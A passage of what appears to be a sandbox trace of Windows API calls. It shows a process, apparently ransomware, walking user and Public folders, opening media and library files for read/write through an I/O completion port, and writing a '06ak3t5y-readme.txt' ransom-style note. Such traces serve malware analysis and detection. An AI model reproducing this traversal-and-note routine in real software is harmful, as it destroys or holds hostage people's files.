dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="OGP0BLXkOZqfcLE5 r.avi", cAlternateFileName="OGP0BL~1.AVI")) returned 1 [0110.964] PathFindExtensionW (pszPath="ogp0blxkozqfcle5 r.avi") returned=".avi" [0110.964] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x8cf6) returned 0x472cde0 [0110.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\OGP0BLXkOZqfcLE5 r.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ogp0blxkozqfcle5 r.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3e4 [0110.965] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30eec38 [0110.966] CreateIoCompletionPort (FileHandle=0x3e4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.967] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x472cde0) returned 1 [0110.967] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1154ad0, ftCreationTime.dwHighDateTime=0x1d75618, ftLastAccessTime.dwLowDateTime=0x93210500, ftLastAccessTime.dwHighDateTime=0x1d75941, ftLastWriteTime.dwLowDateTime=0x93210500, ftLastWriteTime.dwHighDateTime=0x1d75941, nFileSizeHigh=0x0, nFileSizeLow=0xc362, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="PNp9VEShM5vJa6UfKU.mkv", cAlternateFileName="PNP9VE~1.MKV")) returned 1 [0110.967] PathFindExtensionW (pszPath="pnp9veshm5vja6ufku.mkv") returned=".mkv" [0110.967] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xc4b2) returned 0x4735ae0 [0110.968] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\PNp9VEShM5vJa6UfKU.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\pnp9veshm5vja6ufku.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3e8 [0110.968] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30eecb0 [0110.969] CreateIoCompletionPort (FileHandle=0x3e8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.969] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4735ae0) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1154ad0, ftCreationTime.dwHighDateTime=0x1d75618, ftLastAccessTime.dwLowDateTime=0x93210500, ftLastAccessTime.dwHighDateTime=0x1d75941, ftLastWriteTime.dwLowDateTime=0x93210500, ftLastWriteTime.dwHighDateTime=0x1d75941, nFileSizeHigh=0x0, nFileSizeLow=0xc362, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="pnp9veshm5vja6ufku.mkv", cAlternateFileName="PNP9VE~1.MKV")) returned 0 [0110.969] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.969] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36872e0) returned 1 [0110.970] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040180) returned 1 [0110.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.970] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.970] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.970] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.970] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.970] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687328) returned 1 [0110.970] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401c0) returned 1 [0110.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c7e0d0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c7e0d0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.971] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c7e0d0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c7e0d0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.971] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7e0d0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c7e0d0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c807e0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.971] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.971] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0110.971] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0110.971] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0110.971] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0110.971] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.971] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687370) returned 1 [0110.972] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040230) returned 1 [0110.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c82ef0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c82ef0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.972] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c82ef0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c82ef0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.972] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c82ef0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c82ef0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c85600, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.972] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.972] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.972] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.972] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36873b8) returned 1 [0110.973] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402d0) returned 1 [0110.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c85600, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c85600, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.973] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c85600, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c85600, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.973] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c85600, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c85600, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c8a420, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.973] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c85600, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c85600, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c8a420, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 0 [0110.973] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.973] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687400) returned 1 [0110.973] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040160) returned 1 [0110.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c8f240, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c8f240, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.974] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c8f240, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c8f240, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.974] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8a420, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c8a420, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c94060, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.974] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.974] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0110.974] PathFindExtensionW (pszPath="recordedtv.library-ms") returned=".library-ms" [0110.974] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x4bc) returned 0x397f9d0 [0110.974] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3ec [0110.975] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068a50 [0110.976] CreateIoCompletionPort (FileHandle=0x3ec, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.976] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397f9d0) returned 1 [0110.976] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="recordedtv.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0110.976] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.976] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085040) returned 1 [0110.976] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040090) returned 1 [0110.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Music\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c94060, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c94060, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.977] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c94060, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c94060, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.977] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c94060, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c94060, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c98e80, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.977] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.977] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0110.977] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040090 [0110.977] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x50) returned 0x208ec30 [0110.977] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x76) returned 0x36a0d80 [0110.977] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\music\\sample music\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0110.978] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0d80) returned 1 [0110.978] WriteFile (in: hFile=0x3f0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.979] CloseHandle (hObject=0x3f0) returned 1 [0110.979] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="sample music", cAlternateFileName="SAMPLE~1")) returned 0 [0110.979] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.979] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687448) returned 1 [0110.979] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040040) returned 1 [0110.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c98e80, ftLastAccessTime.dwHighDateTime=0x1d77026, 